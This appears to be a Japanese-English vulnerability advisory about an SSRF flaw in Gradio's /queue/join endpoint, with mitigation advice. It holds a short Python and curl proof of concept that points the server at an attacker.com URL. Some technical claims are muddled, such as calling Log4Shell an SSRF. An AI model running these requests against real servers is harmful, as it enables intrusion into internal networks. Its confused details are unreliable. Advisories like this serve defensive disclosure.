Gradioは/queue/joinのパスパラメータにおいてSSRF (SSRF)の脆弱性があります

このSSRF脆弱性は、攻撃者がGradioサーバーを介して任意の内部URLにリクエストを送信することを可能にします。これにより、内部ネットワーク内の機密情報へのアクセス、内部サービスの悪用、さらにはマルウェアのアップロードといった攻撃が可能になります。特に、Gradioアプリケーションが内部ネットワークにアクセスする機能を持つ場合、この脆弱性の影響は甚大となる可能性があります。攻撃者は、内部ネットワーク内のデータベースやAPIエンドポイントを直接ターゲットにすることもできます。この脆弱性は、Log4ShellのようなSSRF攻撃と同様のパターンで悪用される可能性があります。

Organizations deploying Gradio to expose machine learning models or other internal applications are at significant risk. Shared hosting environments where multiple users share the same Gradio instance are particularly vulnerable, as an attacker could potentially exploit the vulnerability to target other users' data or resources.

• python / gradio:

import requests
import urllib3

http = urllib3.PoolManager()

try:
    response = http.request('GET', 'http://your-gradio-server/queue/join?url=http://attacker.com/malicious.txt')
    print(response.status)
except Exception as e:
    print(f"Error: {e}")

• generic web:

curl -I 'http://your-gradio-server/queue/join?url=http://attacker.com/malicious.txt' | grep -i 'Location:'

1. 2024-10-10Disclosure

   disclosure

1. 予約済み2024-09-19
2. 公開日2024-10-10
3. 更新日2025-01-21
4. EPSS 更新日2026-04-02

この脆弱性への対応策として、まずGradioをバージョン5.0.0にアップデートすることを推奨します。アップデートが一時的に利用できない場合は、WAF（Web Application Firewall）を導入し、/queue/joinエンドポイントへの外部からのリクエストをブロックするルールを設定することで、攻撃を軽減できます。また、GradioアプリケーションがアクセスできるURLを制限する設定も有効です。Gradioアプリケーションのログを監視し、不審なリクエストがないか確認することも重要です。アップデート後、Gradioアプリケーションを再起動し、バージョンが5.0.0に正常にアップデートされていることを確認してください。